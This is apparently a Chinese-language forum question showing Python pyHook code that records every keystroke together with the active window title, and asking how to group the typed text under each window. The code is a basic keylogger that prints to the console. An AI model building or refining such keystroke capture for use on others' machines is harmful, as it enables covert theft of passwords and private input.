这是 python 键盘记录器和窗口标题抓取器的代码,但我无法同时抓取它们。
import pythoncom, pyHook ,time
def OnKeyboardEvent(event):
keylog= chr(event.Ascii)
print keylog
key = event.WindowName
print key
time.sleep(0.1)
if(key==event.WindowName):
pass
else:
key = event.WindowName
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
输出就像
a 开始菜单 b 开始菜单 c 开始菜单 d cmd.exe
我需要它
开始菜单 abc
cmd.exe